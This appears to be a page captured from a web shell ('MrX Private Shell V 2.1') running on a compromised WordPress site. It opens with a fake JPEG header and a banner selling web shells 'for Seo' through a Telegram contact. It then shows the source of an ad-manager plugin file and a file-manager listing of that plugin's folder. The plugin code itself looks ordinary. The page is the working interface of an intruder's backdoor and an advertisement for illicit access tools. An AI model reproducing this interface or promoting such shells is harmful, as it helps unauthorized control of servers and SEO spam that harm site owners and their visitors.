����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/*
Plugin Name: PMThemes Ad Manager
Plugin URI: https://pmthemes.com/
Description: Simple and lightweight ad manager. Quickly manage your ads using an integrated options page.
Author: PMThemes
Author URI: https://pmthemes.com/
Version: 1.1.0
License: GPL v3
License URI: http://www.gnu.org/licenses/gpl-3.0.html
*/
if ( ! defined( 'WPINC' ) ) die;
define( 'PMTHEMES_AD_MANAGER', '1.1.0');
add_action( 'init', 'pmthemes_ads_setup' );
function pmthemes_ads_setup(){
// Includes
require_once plugin_dir_path(__FILE__) . 'inc/helpers.php';
require_once plugin_dir_path(__FILE__) . 'inc/functions.php';
require_once plugin_dir_path(__FILE__) . 'inc/settings.php';
// Custom eBook Store
if (function_exists('custom_ebook_store')) {
require_once plugin_dir_path(__FILE__) . 'inc/ebook.php';
}
}
/**
* Enqueue a script in the WordPress admin but on settings.php only.
*
* @param int $hook Hook suffix for the current admin page.
*/
function pmthemes_admin_settings_scripts( $hook ) {
if ( 'settings.php' == $hook ) {
return;
}
wp_enqueue_style( 'pmthemes-settings', plugin_dir_url( __FILE__ ) . 'assets/css/admin-settings.css',
array('cmb2-styles'), PMTHEMES_AD_MANAGER );
wp_enqueue_script( 'pmthemes-settings', plugin_dir_url( __FILE__ ) . 'assets/js/settings-adm.js',
array(), PMTHEMES_AD_MANAGER, true);// true => place it on footer area
}
add_action( 'admin_enqueue_scripts', 'pmthemes_admin_settings_scripts');
// Enqueue required fonts, scripts, and styles.
add_action( 'wp_enqueue_scripts', 'pmthemes_ad_mngr_scripts' );
function pmthemes_ad_mngr_scripts() {
wp_enqueue_style( 'pmthemes-admngr', plugin_dir_url( __FILE__ ) . 'assets/css/admngr.css',
array(), PMTHEMES_AD_MANAGER );
}
// Update
require plugin_dir_path( __FILE__ ) . 'updt/update.php';
add_action( 'init', 'pmthemes_ad_manager_update' );
function pmthemes_ad_manager_update() {
$plugin_current_version = PMTHEMES_AD_MANAGER;
$plugin_remote_path = 'https://hostideo.com/ad-manager/pmtadm.php';
$plugin_slug = plugin_basename( __FILE__ );
new Pmthemes_Ad_Manager_Update ( $plugin_current_version, $plugin_remote_path, $plugin_slug);
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| assets | Folder | 0755 |
|
|
| inc | Folder | 0755 |
|
|
| updt | Folder | 0755 |
|
|
| index.php | File | 28 B | 0644 |
|
| pmt_ads.php | File | 2.22 KB | 0644 |
|
| readme.txt | File | 1.52 KB | 0644 |
|